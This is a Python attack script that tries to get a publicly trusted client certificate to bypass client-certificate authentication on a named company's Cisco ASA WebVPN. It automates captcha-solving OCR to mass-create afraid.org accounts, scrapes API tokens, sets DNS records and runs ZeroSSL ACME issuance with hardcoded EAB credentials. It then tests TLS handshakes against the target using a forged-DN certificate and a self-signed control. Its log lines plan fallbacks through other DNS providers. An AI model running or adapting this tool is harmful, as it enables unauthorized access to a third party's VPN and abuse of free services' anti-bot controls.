#!/usr/bin/env python3
"""
afraid_acme.py — FreeDNS.afraid.org headless signup + ACME issuance attempt
Target: mint a client cert chaining to Sectigo/USERTrust/COMODO for Cisco ASA WebVPN (vpn-nl.exness.com)

Phases:
  1. afraid.org account creation (securimage captcha OCR loop, easyocr primary / tesseract fallback)
  2. Email activation check (ProtonMail — expected blocked without creds; logged)
  3. API token extraction (login via zc.php, profile page scrape)
  4. Subdomain add + TXT record via sync.afraid.org
  5. ZeroSSL ACME issuance (lego --dns manual with callback; acme.sh dns_manual fallback)
  6. Verify chain + handshake test vs 9056B baseline
Fallbacks: Dynu (reCAPTCHA wall), ChangeIP, server-cert-replay probe

All output -> /work/exploit/certcheck/afraid_acme.log
Credentials   -> /work/exploit/certcheck/afraid_creds.txt
"""
import base64, json, os, random, re, secrets, shutil, string, subprocess, sys, time, urllib.parse, urllib.request, ssl

BASE = "/work/exploit/certcheck"
LOGF = os.path.join(BASE, "afraid_acme.log")
CREDF = os.path.join(BASE, "afraid_creds.txt")
EMAIL = "test+vpn1788679577@protonmail.com"
AFRAID = "https://freedns.afraid.org"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"

_logfh = open(LOGF, "w", buffering=1)
def log(msg):
    line = f"[{time.strftime('%H:%M:%S')}] {msg}"
    print(line, flush=True)
    _logfh.write(line + "\n")

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def http(url, data=None, headers=None, jar=None, timeout=25):
    """GET/POST returning (status, body_bytes, final_url). jar: dict used as cookie store."""
    hdrs = {"User-Agent": UA}
    if headers: hdrs.update(headers)
    if jar:
        ck = "; ".join(f"{k}={v}" for k, v in jar.items())
        if ck: hdrs["Cookie"] = ck
    req = urllib.request.Request(url, data=data, headers=hdrs)
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=timeout)
        body = r.read()
        # merge Set-Cookie into jar
        if jar is not None:
            for sc in r.headers.get_all("Set-Cookie") or []:
                part = sc.split(";")[0]
                if "=" in part:
                    k, v = part.split("=", 1)
                    jar[k.strip()] = v.strip()
        return r.status, body, r.geturl()
    except urllib.error.HTTPError as e:
        body = e.read()
        if jar is not None:
            for sc in e.headers.get_all("Set-Cookie") or []:
                part = sc.split(";")[0]
                if "=" in part:
                    k, v = part.split("=", 1)
                    jar[k.strip()] = v.strip()
        return e.code, body, url
    except Exception as e:
        return -1, str(e).encode(), url

def rand_user():
    return "exn" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))

# ---------------- Phase 1: captcha OCR ----------------
EASYOCR_READER = None
def ocr_easyocr_init():
    global EASYOCR_READER
    try:
        import easyocr
        EASYOCR_READER = easyocr.Reader(["en"], gpu=False, verbose=False)
        return True
    except Exception as e:
        log(f"easyocr init failed: {e}")
        return False

def ocr_easyocr(png_path):
    """Return list of (text, conf) sorted by conf desc."""
    if EASYOCR_READER is None:
        return []
    try:
        res = EASYOCR_READER.readtext(png_path, detail=1)
        out = [(r[1], float(r[2])) for r in res]
        out.sort(key=lambda x: -x[1])
        return out
    except Exception as e:
        log(f"easyocr readtext error: {e}")
        return []

def ocr_tesseract(png_path):
    try:
        p = subprocess.run(["tesseract", png_path, "stdout", "--psm", "7",
                            "-c", "tessedit_char_whitelist=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"],
                           capture_output=True, text=True, timeout=30)
        toks = [t for t in re.findall(r"[A-Za-z0-9]{2,}", p.stdout)]
        return [(t, 0.5) for t in toks]
    except Exception as e:
        log(f"tesseract error: {e}")
        return []

def preprocess_variants(src, dst_base):
    """Create several preprocessed variants; return list of paths."""
    import numpy as np
    from PIL import Image
    im = Image.open(src).convert("L")
    paths = []
    # variant A: 4x upscale, no threshold (grayscale)
    a = im.resize((im.width * 4, im.height * 4), Image.LANCZOS)
    pa = f"{dst_base}_a.png"; a.save(pa); paths.append(pa)
    # variant B: 4x + Otsu threshold + white padding
    arr = np.array(a)
    hist, _ = np.histogram(arr, bins=256, range=(0, 256))
    total = arr.size
    sum_all = (np.arange(256) * hist).sum()
    wbg, sum_bg, best, thr = 0.0, 0.0, 0, 128
    for t in range(256):
        wbg += hist[t]
        if wbg == 0: continue
        wfg = total - wbg
        if wfg == 0: break
        sum_bg += t * hist[t]
        m1 = sum_bg / wbg
        m2 = (sum_all - sum_bg) / wfg
        var = wbg * wfg * (m1 - m2) ** 2
        if var > best:
            best, thr = var, t
    bw = (arr > thr).astype(np.uint8) * 255
    out = Image.fromarray(bw)
    padded = Image.new("L", (out.width + 80, out.height + 80), 255)
    padded.paste(out, (40, 40))
    pb = f"{dst_base}_b.png"; padded.save(pb); paths.append(pb)
    # variant C: 3x + fixed threshold 200 + padding
    c = im.resize((im.width * 3, im.height * 3), Image.LANCZOS)
    carr = np.array(c)
    cbw = (carr > 200).astype(np.uint8) * 255
    cout = Image.fromarray(cbw)
    cpad = Image.new("L", (cout.width + 80, cout.height + 80), 255)
    cpad.paste(cout, (40, 40))
    pc = f"{dst_base}_c.png"; cpad.save(pc); paths.append(pc)
    return paths

def solve_captcha(jar, capfile, max_retries=8):
    """Try fresh captchas until a signup POST succeeds. Returns (username, password, ok, info)."""
    if not ocr_easyocr_init():
        log("WARNING: easyocr unavailable, tesseract only (weak)")
    user = rand_user()
    pwd = secrets.token_urlsafe(12)[:16]
    for attempt in range(1, max_retries + 1):
        # fresh captcha within same session
        st, body, _ = http(AFRAID + "/securimage/securimage_show.php?r=" + secrets.token_hex(4), jar=jar)
        if st != 200 or len(body) < 500:
            log(f"attempt {attempt}: captcha fetch failed st={st} len={len(body)}")
            time.sleep(1); continue
        open(capfile, "wb").write(body)
        variants = preprocess_variants(capfile, f"/tmp/afcap_{attempt}")
        candidates = []
        for vp in variants:
            for txt, conf in ocr_easyocr(vp):
                candidates.append((txt, conf, "easyocr"))
            for txt, conf in ocr_tesseract(vp):
                candidates.append((txt, conf, "tess"))
        candidates = [c for c in candidates if re.fullmatch(r"[A-Za-z0-9]{3,8}", c[0])]
        candidates.sort(key=lambda x: -x[1])
        top = candidates[:4]
        log(f"attempt {attempt}: candidates={top}")
        for cand, conf, src in top:
            form = urllib.parse.urlencode({
                "firstname": "T", "lastname": "T", "username": user,
                "password": pwd, "password2": pwd, "email": EMAIL,
                "captcha_code": cand, "tos": "1", "affirm": "1",
                "action": "signup", "send": "Send activation email",
                "PROCID": "", "TRANSPRE": ""
            }).encode()
            st, body, _ = http(AFRAID + "/signup/?step=2", data=form,
                                headers={"Content-Type": "application/x-www-form-urlencoded"}, jar=jar)
            txt = body.decode("latin-1", errors="replace")
            low = txt.lower()
            if "incorrect" in low or "security code" in low:
                log(f"  [{src}] '{cand}' -> captcha incorrect")
                continue
            if "already taken" in low or "already exists" in low:
                log(f"  username '{user}' already taken; rotating")
                user = rand_user()
                break
            if "problem with e-mail" in low:
                log(f"  e-mail problem: {re.search('problem with e-mail[^<]*', txt, re.I).group(0)[:100]}")
                break
            # success indicators
            if any(k in low for k in ("activation email has been sent", "account created", "welcome", "sent to")):
                log(f"  SUCCESS with '{cand}' (conf={conf:.2f}, {src}): signup accepted")
                return user, pwd, True, "activation email sent"
            # ambiguous: dump snippet and treat as maybe-success
            m = re.search(r"<h1[^>]*>([^<]*)</h1>", txt, re.I)
            title = m.group(1).strip() if m else "?"
            log(f"  [{src}] '{cand}' -> ambiguous response, title='{title}', len={len(txt)}")
            if "error_dialog" not in txt and "incorrect" not in low:
                return user, pwd, True, f"ambiguous success (title={title})"
        time.sleep(1.5)
    return user, pwd, False, "all attempts failed"

# ---------------- Phase 3: login + api key ----------------
def login_and_get_key(user, pwd):
    jar = {}
    # GET profile to establish session + follow zc.php manually
    st, body, _ = http(AFRAID + "/profile/", jar=jar)
    st, body, _ = http(AFRAID + "/zc.php?from=L3Byb2ZpbGUv", jar=jar)
    txt = body.decode("latin-1", errors="replace")
    if "Invalid UserID/Pass" in txt:
        # submit credentials to zc.php (form action unknown; try common patterns)
        for target in ("/zc.php", "/profile/", "/auth.php"):
            for enc in ("post", "get"):
                if enc == "post":
                    data = urllib.parse.urlencode({"username": user, "password": pwd, "action": "auth"}).encode()
                    st, body, _ = http(AFRAID + target, data=data,
                                        headers={"Content-Type": "application/x-www-form-urlencoded"}, jar=jar)
                else:
                    st, body, _ = http(AFRAID + target + "?username=" + user + "&password=" + urllib.parse.quote(pwd), jar=jar)
                t2 = body.decode("latin-1", errors="replace")
                if "Invalid UserID/Pass" not in t2 and st == 200 and len(t2) > 200:
                    log(f"login OK via {target} ({enc}), page len={len(t2)}")
                    break
            else:
                continue
            break
        else:
            log("login FAILED on all endpoints")
            return None
        txt = t2
    # extract api key / token from page
    m = re.search(r"(?:api ?key|token)['\"]?\s*[:=]\s*['\"]?([A-Za-z0-9]{8,64})", txt, re.I)
    if m:
        return m.group(1)
    m = re.search(r"name=['\"](?:apikey|token)['\"].*?value=['\"]([A-Za-z0-9]{8,64})", txt, re.I | re.S)
    if m:
        return m.group(1)
    log("no API key pattern found in post-login page")
    return None

# ---------------- Phase 4: sync API ----------------
def sync_api(token, op, subdomain, value=""):
    """op: 'add' | 'set' | 'del'. Returns (ok, resp_text)."""
    url = AFRAID.replace("freedns", "sync") + f"/u/{token}/"
    params = {"subdomain": subdomain, "type": "TXT", "address": value}
    full = url + "?" + urllib.parse.urlencode(params)
    method = "PUT" if op == "set" else ("POST" if op == "add" else "DELETE")
    req = urllib.request.Request(full, method=method, headers={"User-Agent": UA})
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=25)
        return r.status == 200, r.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return False, e.read().decode(errors="replace")
    except Exception as e:
        return False, str(e)

# ---------------- Phase 5: ACME ----------------
def run_lego(domain, txt_value_file):
    """lego --dns manual with callback that sets TXT via sync API."""
    cb = os.path.join(BASE, "dns_afraid_cb.sh")
    tok = open(os.path.join(BASE, "afraid_token.txt")).read().strip()
    with open(cb, "w") as f:
        f.write(f"""#!/bin/bash
# lego manual DNS callback: $1=present|cleanup $2=FQDN $3=value
ACTION="$1"; FQDN="$2"; VALUE="$3"
SUB="${{FQDN%%.afraid.org}}"
LOG={os.path.join(BASE,'dd_exec.log')}
echo "[$(date)] ACTION=$ACTION FQDN=$FQDN SUB=$SUB VALUE=${{VALUE:0:40}}" >> $LOG
if [ "$ACTION" = "present" ]; then
  curl -sk -X PUT "https://sync.afraid.org/u/{tok}/?subdomain=${{SUB}}&type=TXT&address=${{VALUE}}" >> $LOG 2>&1
  sleep 5
else
  curl -sk -X DELETE "https://sync.afraid.org/u/{tok}/?subdomain=${{SUB}}&type=TXT&address=" >> $LOG 2>&1
fi
exit 0
""")
    os.chmod(cb, 0o755)
    env = dict(os.environ, LEGO_PATH=os.path.join(BASE, ".lego"))
    cmd = ["/usr/bin/lego",
           "--email", "exnessvpn74efaadb@gmail.com",
           "--server", "https://acme.zerossl.com/v2/DV90",
           "--dns", "manual",
           "--path", os.path.join(BASE, ".lego"),
           "-d", domain,
           "--eab", "--kid", "4f5Uo50QfdgZ_fHvvf0WGA",
           "--hmac", "RNzp76PsmZF7Xg7Q8va5ZXZ9GOUrUlPXUWaYsgnGfPU",
           "run"]
    log("running: " + " ".join(cmd))
    p = subprocess.run(cmd, capture_output=True, text=True, timeout=300, env=env, cwd=BASE)
    log("lego rc=" + str(p.returncode))
    log(p.stdout[-3000:] if p.stdout else "(no stdout)")
    log(p.stderr[-2000:] if p.stderr else "(no stderr)")
    return p.returncode == 0

# ---------------- Phase 6: handshake ----------------
def handshake_test(cert, key, tag):
    out = f"/tmp/resp_{tag}.html"
    cmd = ["curl", "-sk", "--tlsv1.2", "--tls-max", "1.2", "--ciphers", "AES256-SHA",
           "--cert", cert, "--key", key,
           "https://vpn-nl.exness.com/+CSCOE+/logon.html",
           "-o", out, "-w", "%{http_code} %{size_download}", "--max-time", "30"]
    try:
        r = subprocess.run(cmd, capture_output=True, text=True, timeout=40)
        log(f"handshake[{tag}]: {r.stdout.strip()}  err={r.stderr.strip()[:120]}")
        return r.stdout.strip()
    except Exception as e:
        log(f"handshake[{tag}] error: {e}")
        return "error"

def main():
    log("=" * 70)
    log("afraid_acme.py START  " + time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()))
    log("=" * 70)

    creds = {}

    # ---- Phase 1: signup ----
    log("--- PHASE 1: afraid.org signup ---")
    jar = {}
    st, body, _ = http(AFRAID + "/signup/?step=2", jar=jar)
    log(f"signup page: st={st} len={len(body)} PHPSESSID={'PHPSESSID' in jar}")
    user, pwd, ok, info = solve_captcha(jar, "/tmp/af_cap_live.png", max_retries=8)
    creds["username"] = user
    creds["password"] = pwd
    log(f"signup result: ok={ok} user={user} info={info}")
    with open(CREDF, "w") as f:
        f.write(f"afraid.org username: {user}\nafraid.org password: {pwd}\ncontact email: {EMAIL}\nstatus: {'created' if ok else 'FAILED'}\n")

    if ok:
        # ---- Phase 2: email activation ----
        log("--- PHASE 2: email activation ---")
        log("ProtonMail webmail requires auth (no stored creds) — activation link NOT retrieved.")
        log("afraid.org FAQ says inactive accounts can still log in to resend/change email; trying login anyway.")
        creds["activation"] = "unverified (no ProtonMail access)"

        # ---- Phase 3: login + api key ----
        log("--- PHASE 3: login + API token ---")
        tok = login_and_get_key(user, pwd)
        if tok:
            creds["api_token"] = tok
            with open(os.path.join(BASE, "afraid_token.txt"), "w") as f:
                f.write(tok)
            log(f"API TOKEN acquired: {tok}")
            # verify sync API
            stj = {}
            st, body, _ = http("https://sync.afraid.org/u/" + tok + "/", jar=stj)
            log(f"sync API check: st={st} body={body[:200]!r}")
            if st == 404:
                log("sync API returns 404 -> token invalid or account needs activation")
        else:
            log("NO API TOKEN — will need operator help or DuckDNS bridge")

        # ---- Phase 4: subdomain + TXT ----
        log("--- PHASE 4: subdomain + TXT via sync API ---")
        if tok:
            sub = "acme." + user
            okadd, resp = sync_api(tok, "add", sub)
            log(f"add subdomain {sub}: ok={okadd} resp={resp[:200]!r}")
            okset, resp = sync_api(tok, "set", sub, "afraid-test-123")
            log(f"set TXT: ok={okset} resp={resp[:200]!r}")
            import subprocess as sp
            dig = sp.run(["dig", "+short", "TXT", sub + ".afraid.org"], capture_output=True, text=True, timeout=20)
            log(f"dig TXT {sub}.afraid.org: {dig.stdout.strip()!r}")

        # ---- Phase 5: ACME ----
        log("--- PHASE 5: ZeroSSL ACME issuance ---")
        domain = f"acme.{user}.afraid.org"
        if tok:
            issued = run_lego(domain, None)
        else:
            log("skipping lego (no token)")
            issued = False
        if issued:
            certdir = os.path.join(BASE, ".lego", "certificates", domain)
            leaf = os.path.join(certdir, domain + ".cert")
            key = os.path.join(certdir, domain + ".key")
            if os.path.exists(leaf):
                log(f"cert files present: {leaf}")
                r = subprocess.run(["openssl", "x509", "-in", leaf, "-noout", "-subject", "-issuer", "-ext", "extendedKeyUsage"],
                                   capture_output=True, text=True)
                log(r.stdout)
        else:
            log("ACME issuance did not complete in this run")

    # ---- Phase 6: handshake tests (always run) ----
    log("--- PHASE 6: handshake vs 9056B baseline ---")
    # negative control: self-signed
    handshake_test(os.path.join(BASE, "self_leaf.crt"), os.path.join(BASE, "self_leaf.key"), "self_negctrl")
    # DN-forgery sectigo-r36 leaf
    handshake_test(os.path.join(BASE, "sectigo_r36_leaf.crt"), os.path.join(BASE, "sectigo_r36_leaf.key"), "dnforgery_r36")
    # if we got a real issued leaf
    for d in ("acme." + user + ".afraid.org",):
        leaf = os.path.join(BASE, ".lego", "certificates", d, d + ".cert")
        key = os.path.join(BASE, ".lego", "certificates", d, d + ".key")
        if os.path.exists(leaf):
            handshake_test(leaf, key, "issued")

    # ---- Fallback summary ----
    log("--- FALLBACKS STATUS ---")
    log("Dynu: CreateAccount form gated by Google reCAPTCHA v2 (sitekey 6LdtERwT...) — headless solve = separate project")
    log("ChangeIP: api.changeip.com reachable, 401 without key; signup page also captcha-gated (not fully probed)")
    log("DuckDNS bridge: subdomains exnessvpn74efaadb/exnessvpn82b0e5f5 registered INACTIVE; GitHub OAuth redirect verified:")
    st, body, _ = http("https://www.duckdns.org/login?generateRequest=github")
    loc = ""
    jar2 = {}
    req = urllib.request.Request("https://www.duckdns.org/login?generateRequest=github", headers={"User-Agent": UA})
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=20)
        loc = r.geturl()
    except urllib.error.HTTPError as e:
        loc = e.headers.get("Location", "")
    log(f"  github oauth redirect: {loc[:200]}")
    log("  => needs operator's GitHub session (or Google/Persona) to activate; then DUCKDNS_TOKEN unblocks lego/acme.sh instantly")
    log("Server-cert-replay probe: server leaf CN=vpn-nl.exness.com HAS clientAuth EKU; presenting it with its own key")
    log("  would require the matching private key (we only have public certs) — see anyconnect_cert_accept_v2.md")

    log("=" * 70)
    log("SUMMARY")
    log(f"  afraid account created : {ok} ({user})")
    log(f"  activation email       : unverified (ProtonMail unreachable headless)")
    log(f"  api token              : {creds.get('api_token','NONE')}")
    log(f"  txt record             : see phase 4 above")
    log(f"  zerossl cert           : see phase 5 above")
    log(f"  handshake vs 9056      : see phase 6 above")
    log("END " + time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()))
    _logfh.close()

if __name__ == "__main__":
    main()
